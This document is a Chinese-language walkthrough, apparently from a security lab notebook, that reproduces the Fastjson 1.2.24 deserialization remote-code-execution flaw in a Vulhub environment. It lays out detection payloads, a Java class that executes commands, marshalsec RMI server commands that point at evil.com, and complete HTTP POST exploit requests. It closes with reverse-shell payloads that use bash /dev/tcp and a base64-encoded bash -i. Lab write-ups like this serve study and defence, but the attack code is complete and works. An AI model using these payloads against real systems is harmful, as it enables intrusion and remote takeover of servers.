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Fastjson 1.2.24 反序列化导致任意命令执行漏洞.md

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Fastjson 1.2.24 反序列化导致任意命令执行漏洞

漏洞描述

Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

参考资料:

环境搭建

Vulhub运行测试环境:

docker-compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

image-20220223111249998

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

如何判断一个站点是否存在Fastjson?

方式1 响应时间

正常数据响应时间(29毫秒):

image-20220223141118979

存在Fastjson时,16进制数据响应时间明显变长(396毫秒):

image-20220223140820884

方式2 DNSlog

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,如http://evil.com/TouchFile.class

执行javac TouchFile.java,生成TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

通过python搭建一个临时的web服务,该服务是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件。此处payload文件即TouchFile.class

python -m http.server 8888

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

$ git clone https://github.com/mbechler/marshalsec.git
$ mvn clean package -DskipTests
$ cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar /home/kali/vulnerability/vulhub/fastjson/1.2.24-rce
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com:8888/#TouchFile" 9999

image-20220223122416137

向靶场服务器发送Payload,带上RMI的地址,注意Content-Type应该是application/json

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

image-20220223122432463

可见,命令touch /tmp/success已成功执行:

image-20220223122451321

反弹shell

同样,执行javac TouchFile.java,生成TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.128/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

也可以使用bash base64的方式:

String[] commands = {"bash", "-c","{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ3LjEyNy85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"}

启动一个RMI服务器,监听8888端口,并制定加载远程类TouchFile.class

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 8888

发送POST请求包:

POST / HTTP/1.1
Host: 192.168.174.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 165

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.174.128:8888/TouchFile",
        "autoCommit":true
    }
}

监听9999端口,接收反弹shell:

image-20220223125747062